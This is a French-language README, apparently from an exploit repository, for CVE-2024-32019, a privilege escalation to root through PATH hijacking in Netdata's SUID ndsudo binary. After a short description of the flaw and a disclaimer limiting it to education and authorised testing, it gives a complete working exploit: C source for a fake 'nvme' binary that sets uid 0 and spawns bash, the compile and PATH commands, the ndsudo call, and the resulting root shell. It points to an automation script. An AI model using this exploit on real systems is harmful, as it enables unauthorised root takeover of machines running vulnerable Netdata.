
CVE-2024-32019 est une vulnérabilité d'élévation de privilèges locaux de sévérité élevée dans Netdata (versions >= 1.44.0-60 < 1.45.3), causée par une utilisation non sécurisée de la variable PATH dans le binaire SUID ndsudo, permettant à des attaquants d'exécuter des commandes arbitraires en tant que root.
PATH dans ndsudo de Netdata (LPE vers root)Un exploit basé sur Python pour CVE-2024-32019, une vulnérabilité de haute sévérité d'élévation de privilèges locaux dans l'Agent Netdata, exploitant un binaire SUID mal configuré (ndsudo) qui ne gère pas correctement la variable d'environnement PATH.
[!Caution] Ce code est destiné uniquement à des fins éducatives et de tests autorisés. Toute utilisation non autorisée de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas obtenu une autorisation explicite est illégale.
ID CVE : CVE-2024-32019
Score CVSS : 8.8 (Élevé)
Divulgué : 12 avril 2024
Composant : Agent Netdata
Versions concernées :
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169L'outil ndsudo de Netdata est un binaire SUID root conçu pour exécuter de manière sécurisée un ensemble limité de commandes système (comme nvme) pour le compte d'utilisateurs non root.
Cependant, en raison d'un défaut d'implémentation, il respecte la variable PATH contrôlée par l'utilisateur lors de la résolution des binaires de commandes. Si un attaquant peut manipuler le PATH pour inclure un répertoire accessible en écriture contenant un binaire malveillant, ndsudo l'exécutera avec les privilèges root — entraînant une élévation de privilèges locaux.
Les étapes suivantes montrent comment exploiter manuellement la vulnérabilité dans ndsudo.
Enregistrez le code C suivant sous nvme.c :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
which nvme
# Sortie : /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
En cas de succès, vous obtiendrez un shell root.
# whoami
root
Si vous avez un accès SSH, vous pouvez utiliser CVE-2024-32019-dbs.py pour automatiser ce processus.
